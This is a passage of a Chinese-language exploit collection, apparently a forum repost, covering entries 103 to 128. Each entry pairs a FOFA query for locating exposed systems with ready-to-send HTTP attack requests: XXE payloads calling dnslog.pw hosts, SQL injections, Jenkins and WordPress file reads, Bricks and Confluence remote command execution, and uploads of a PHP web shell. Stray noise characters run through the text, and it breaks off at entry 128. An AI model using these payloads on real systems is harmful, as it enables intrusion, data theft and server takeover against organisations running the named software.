<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
) ~9 v. x, I9 n
# j- n: c; ?5 G" v% L; j6 E/ f103. Ivanti Pulse Connect Secure VPN XXE
+ i; s+ e( D; u8 u0 T6 A  zCVE-2024-22024
5 K3 A7 d6 k5 ?* x8 k% aFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
6 k" M5 H4 ?- J& {6 RUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
1 g( K  `1 w% t: @' \! [2 OConnection: close
Content-Length: 204
) \6 V/ W3 U( i. ~3 r: wContent-Type: application/x-www-form-urlencoded
# T" k. `9 F5 c* N. N9 j8 b1 gAccept-Encoding: gzip

- L+ w  n& f( U7 ~! n7 P4 {SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
4 M# T9 G8 m7 e% s+ |4 i<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

/ Z, c) Z; Y6 F6 ^2 P# d2 Y4 V
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
, D3 T% X, @( C6 D; ?) cFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
  j+ {. B3 b6 O; U1 e5 F3 [Content-Type: application/x-www-form-urlencoded:charset=UTF-8
4 X. Y- G7 t( N& |: VOrigin: http://192.168.0.1
, J+ m# K2 ~- ^" P' Q6 B/ ~1 uReferer: http://192.168.0.1/advance/index.html?time=1671152380564
/ u4 a- S! l0 V& I5 ^$ V1 c2 rAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
1 c; g8 m) M8 c
4 K$ |2 a8 P; a# \, l{
5 Q% T3 p* X! _5 s8 n"topicurl":"getSysStatusCfg",
; d5 L6 G- C! p% H. a3 E"token":""
}

( k" `5 Z+ N  I, r9 B5 J105. SpringBlade v3.2.0 export-user SQL 注入
+ G) y+ U$ n9 W3 X9 Q2 Z% VFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
0 ?6 b7 a# f9 ~+ E3 F5 R
106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
, z! V, E" q: W& ~, x) O9 fGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
2 ^& I2 L3 [0 T1 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! {% L' F' h; _/ fBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
: {1 @. j0 K: m( zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& g0 W' `; l, T8 j1 ~+ M$ C+ GBlade-Auth:替换为自己的
: t; |: k9 K/ kConnection: close


108. D-Tale 3.9.0 SSRF
CVE-2024-21642
1 H$ v! y; k7 dFOFA："dtale/static/images/favicon.png"
. v; X" H* T8 a- i  \8 b% tGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
; M: [- D: d( W7 NHost: your-ip
# I0 G( l' G9 `2 ]3 ^9 v5 ^Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! U% ]0 k! W9 _% LAccept-Encoding: gzip, deflate
6 C8 n# Q0 f8 s  q9 `5 ]Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
$ M' P4 b1 m$ E% L- w4 kConnection: close

; G0 V7 A" B% t: A
* z# O0 R8 P: w109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
+ O% n; c% F) FPOST /cli?remoting=false HTTP/1.1
( b+ Y$ h3 p: v. [7 X7 EHost:
" Z" s# w: q, w- k- E9 y# ~# k' IContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163
! m8 R$ S0 ?6 S4 I! f: }
8 C8 l, M& |8 e- U! p! ob'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


. `( R) g( C8 f, A( T3 MPOST /cli?remoting=false HTTP/1.1
Host:
0 h, K4 Z0 L9 x; u; M0 `Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
8 [  {! ]$ n/ F0 N! @4 tjava -jar jenkins-cli.jar help
[COMMAND]
( V5 b6 H* \/ fLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

1 [  |: z" N/ m2 M+ M2 S2 P4 i
) B! W* l: }' \; [  ?0 M( `  a110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
2 L' q1 O) F1 _Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
) X: W8 D8 C' `/ p3 K1 gAccept: */*
Accept-Language: en
: J# _7 g6 l4 g  E5 l& p5 |# r% ~Accept-Encoding: gzip
6 T4 t! U2 ?" R9 x, W+ l

8 w; i# Q9 y* D7 \6 a111. WordPress Plugin HTML5 Video Player SQL注入
! P; N5 a( B: _& N) {CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
# b) v9 i5 P* a- j# h2 _GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
; B6 O; F; Q/ {/ q: lHost: 192.168.40.130:112
# |9 ^1 U' P1 TUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

. I- A5 [# i. Q& p
* ~# v+ H" E- U: o% D, y112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
/ Z- i" B0 _3 j; lFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
! t% z, i3 g) G4 m0 e  i' K
. b( V) r4 P8 d1 a8 V{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


% y  f7 k$ u7 D113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
" K4 P7 m& z$ P) ^, m: bFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
/ j4 Q& W9 C5 N) n- P4 h% }Host: x.x.x.x
* O7 ]$ C& \& I' f: F# }! E. ^. _! B8 kUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
* I- w2 j' p9 }2 W7 ]# `Connection: close
Accept: */*
# y2 F3 B* Q, ?! w8 [# x, z4 z# L5 xAccept-Language: en
1 B* ?7 g( v% B, M% J) sAccept-Encoding: gzip

/ P* R/ F# r- C2 O7 Z0 s
7 ]& e; M5 |. Y7 e6 x114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
% h2 {+ `6 z$ Z- B2 t; S2 d' \Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
. L; J4 Y+ H. p$ q; O! wAccept-Charset: utf-8
0 q8 }; k9 {& r1 I4 c3 GAccept-Encoding: gzip, deflate
) v* G% d& @0 n; }Connection: close
$ v  x' ~9 V( M- f7 E

6 q4 O9 X* N2 U115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
7 @5 O. k0 W7 E, o3 F( p/ I2 @FOFA: body="/wp-content/themes/bricks/"
9 f; p- K; O. ]- V. N1 t8 ?( t第一步，获取网站的nonce值
5 D/ D4 j( L% T0 j0 T; Y# r+ |; rGET / HTTP/1.1
; }6 j" X& s6 ^9 s( N, t" r) CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip

  E* o2 U% {# I: L: m! a& o2 Y
第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
, m2 @0 d1 ^5 e7 B6 S$ w- X& aContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
7 B, R4 L2 m! F7 x
0 n+ q# h! _9 g9 F{
- C! T, Y6 \7 o. T, N"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
/ F7 I( W' z3 ~% P5 P    "name": "container",
! H5 z  J- ]# \7 A+ @    "settings": {
, y0 W3 r+ |4 Y* ~1 S  {. D      "hasLoop": "true",
7 f+ ]& D* I# [& @      "query": {
9 {' D  u  E! a4 g4 c        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
4 H+ b  L6 @# e! s/ Z      }
    }
5 p9 N- j& ^) L1 _  }
}

* I! C  n5 C* J; v" _$ |5 F
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
, ~+ J2 ]+ |% Q. d% t# O  }: JHost:
6 ^& P% t8 P, {" E% tContent-Type: multipart/form-data; boundary=--------767099171
" `. g/ x5 w$ ?/ A6 e( c: E& `User-Agent: Mozilla/5.0
4 q5 V6 T. ?* X% |7 F
----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
# v* _/ p5 M6 A& c" h' z$ p----------767099171
Content-Disposition: form-data; name="form_request"
3 E$ C% X* D6 ^$ S, T' P. Fjssupportticket
+ U, Q1 D4 ~% C----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
  \6 ]5 q+ j4 L% [: {* \# T% CContent-Type: image/png
----------767099171--


117. WordPress LayerSlider插件SQL注入
: F, `/ s' U( G- i: }  R" d- r; Rversion：7.9.11 – 7.10.0
' u+ ]" r8 ~% Y- f4 U7 u, {FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
/ R- {* A" D" r4 `2 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 d- L2 e  n+ Q- FAccept-Encoding: gzip, deflate, br
Connection: close
& X* B1 ^& N0 }4 P' `, g- ^2 _0 qUpgrade-Insecure-Requests: 1
9 Z# N8 L. P. ?' G. T: H

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
$ W+ ?& M  Y. |CVE-2024-0939
% r0 R( o; a3 r8 h: ^FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
, Z" D* {1 j( m$ @Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
* y5 L8 }  P* i2 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& i; q7 ?- N4 l% zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
) y0 k* N4 |+ CContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
' |" A1 n5 V! Q5 R. n6 p; MContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
; W3 g% J  F* U9 O" T9 T& jUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
  B$ Q' i8 n0 `: T2 R# B6 CSec-Fetch-Site: same-origin
3 J# m$ U# t' M4 i5 `: I$ b2 lSec-Fetch-User: ?1
Te: trailers
" t9 Q* M. ~5 m' vConnection: close
& R8 p9 f* p6 ?, I' {; D
" O0 F+ t. {+ C& {5 m* Y$ W3 M; t-----------------------------13979701222747646634037182887
: ?% K1 X/ ]) [Content-Disposition: form-data; name="file_upload"; filename="contents.php"
7 _% L% K5 V" s: S- ^Content-Type: application/octet-stream

" b6 e: X2 l9 B, E! f' Z<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
( |. C6 e& i  ~9 X- x2 mContent-Disposition: form-data; name="txt_path"

# V2 s8 m& k* R, n1 P- m5 q4 S) V3 _/home/src.php
-----------------------------13979701222747646634037182887--

( z/ ?7 H: E! P  x! B$ M  H
访问/home/src.php

. U! ?. a2 ~2 c; G/ H5 {; c119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
& A. B) m( w4 S9 X6 g先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
& @0 L& \2 Z+ O! t5 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
2 P7 I/ ^6 A$ ?7 j0 R+ C; JAccept: */*
6 B# u, p; ^# ?: qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
6 P, h& `* L8 Y! b0 \Content-Length: 109
Origin: https://58.18.133.60:8443
4 j( Y5 N1 n3 P+ d5 AReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
! D, C  Z& m# HSec-Fetch-Site: same-origin
1 }' |% z9 Y$ O0 {$ Q& H5 G- mX-Forwarded-For: 1.1.1.1
9 h$ ]+ h# V, E0 C! m3 P5 MX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
4 h1 @* F* J* Q3 u  ^7 q# g) YX-Remote-Addr: 1.1.1.1
Te: trailers
) y% _; {! g8 }6 x5 BConnection: close
! V! ]0 L' ?, X8 Z% K1 V' ~
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
7 K; c! `/ T: U0 Q; U% z

120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
' r" U' P/ d: E" u$ n' _POST /useratte/web.php? HTTP/1.1
' e- `/ g" N5 F/ pHost: ip:port
+ @, F  u* r8 g+ x$ ]# MCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( J+ c8 J( n1 S4 A  v: k* lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- k/ ~) K6 z1 }, [0 mAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
* i, ?1 z/ w* N* ?6 f) EReferer: https://ip:port/sysmanage/licence.php
2 E' E; A2 i! J; b+ M1 TUpgrade-Insecure-Requests: 1
. R! I1 j" r* gSec-Fetch-Dest: document
" w+ u; ~$ }2 ]9 U, lSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
; x8 q  `* T3 x, t+ l8 ~* @Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
7 V8 K& ~- s* P( a7 D
<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
  M5 y9 L1 [- V: j- e. J
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
6 t0 E* ]  W9 I7 g# X
9 |) J7 |8 Q, E- J. ?  G1_radhttp
+ w$ {8 E  j3 v-----------------------------42328904123665875270630079328
+ n' |. h! l% k; H6 L. f, kContent-Disposition: form-data; name="mode"

9 X# T- H! X, d/ nimport
-----------------------------42328904123665875270630079328
& }0 \* M5 ~7 L$ B

文件路径/upload/2.php
; b, G) Y% @& ]
) |) f( ~* z, E' h. Z121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
) A0 M1 ], I" ], W1 p( f1 j9 JPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
# q$ M2 w* k( E( bCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) H& d. _1 ]+ d- |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
4 S4 v- C+ d/ y) D+ ?Content-Length: 592
Origin: https://192.168.40.130:8443
8 x6 {0 |8 K# R: ?$ _! ~6 ~+ gUpgrade-Insecure-Requests: 1
0 F. c: ^: Q) uSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
! d) I2 ]- ?/ F! \& T4 |Content-Disposition: form-data; name="web_img"; filename="1.php"
9 ?. {$ C0 u1 i7 L0 d# z) bContent-Type: application/octet-stream
) V: s, k. Q! N6 u6 Y1 C
( ]2 z( L$ j4 x' k: U<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
4 q/ `6 P! H, Z4 q# A
1
- o, l, B; z; |0 D-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1 @, s: {" I  W3 i8 l) Q4 w# p9 V1_radhttp
-----------------------------42328904123665875270630079328
1 R8 f: D6 _9 ~. ]3 [Content-Disposition: form-data; name="hidwel"
; W" [* R9 s2 f$ n2 [# @- f
! m6 ~; K) S) |" f3 ^% \5 j8 Oset
-----------------------------42328904123665875270630079328

1 K: D4 R' k4 t. N
boot/web/upload/weblogo/1.php
$ Z" f- `7 a7 I8 j
, T) G8 C4 @, @- B* B/ y122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
3 n2 C3 B/ [' }, N6 H4 }7 ]/ q8 G/ r8 S5 nGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
7 x; S) J$ v! F% t  u1 ^Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
% \1 z- |1 M+ F: ?2 E/ N  tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% U* n7 q9 H! n; oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 L! M8 F: ~6 bAccept-Encoding: gzip, deflate, br
4 X( q% X. f9 `0 y3 G& [6 @3 n5 zUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
! U8 Z; d4 j1 ?) l( `# wSec-Fetch-User: ?1
Te: trailers
- ^4 G% C# }9 f$ k! @Connection: close


123. Atlassian Confluence 模板注入代码执行
- z# z- L" O! @  XFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
9 x; `  X3 E/ v$ CPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
3 c' [( q8 G! d) w! D  mAccept-Encoding: gzip, deflate, br
  s7 ^) @6 n9 JAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
2 V0 b0 H5 L& X) @+ MConnection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
5 D0 V! x  M6 c" Y( s  Z4 g
* M9 ~5 T; E; N. t$ W! a5 m$ D
124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
% e' O8 |* Q( k1 a6 r7 i$ {& tPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 c& b- X* K1 b  m1 X# Y" \Connection: close
Content-Type: application/x-www-form-urlencoded

# }7 J6 {3 O: f0 z7 CfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


3 X9 m+ t# _# v; _6 l2 Dhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
& G. f" p1 U. \6 K
$ }4 @; X% K( o# z125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
+ z/ u# `0 n& lFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
& t% S) N; y  w; q

使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
5 N$ j4 H$ a0 Y9 m2 ^- S; A, F# v

1 r) H5 T' j1 U' L. [, l1 I创建好用户后直接登录后台，可以执行系统命令。

# Z$ h: T7 B  [/ l8 ^' `9 t126. Aiohttp 路径遍历
: \5 J: u) q; l9 ]+ {FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
+ a3 H# `6 o/ L$ @1 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
8 ]+ N; G2 R, rConnection: close
Accept: */*
0 S0 I1 [& y6 Q8 v9 RAccept-Language: en
Accept-Encoding: gzip

. A4 [" @2 ]8 u5 f- O2 T
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
. M! E* v  W3 E# N! ?6 m: B2 `POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
6 N1 T4 s: U5 p$ r( UHost: 192.168.40.130:8888
4 ~' N6 L3 P" g5 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: R& `' ~5 A. uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
' u) M4 w0 ~! l" p# j; q4 h! |  WPurpose: prefetch
Sec-Purpose: prefetch;prerender
% B) u! `& d- e0 D
- ^2 T( [9 O; f$ @------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
& I4 _3 j* _1 n3 _) n------WebKitFormBoundaryJGgV5l5ta05yAIe0
0 B. i2 s' t* j; g' b6 F: Y( E1 t7 W0 bContent-Disposition: form-data;name="Params"
Content-Type: text/plain

7 b% O  y1 `$ }7 }<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
; U/ e5 Z' o1 p" p/ A]
>
% i* {9 y, t, u$ G% P" w2 G& }<test>&t;</test>
0 v$ A* l7 W! ]! n$ G3 w& Q------WebKitFormBoundaryJGgV5l5ta05yAIe0--

. {8 \7 a+ t2 i9 Q$ t* l% F

- Q0 D% w' b+ w128. Adobe ColdFusion 反序列化
CVE-2023-38203
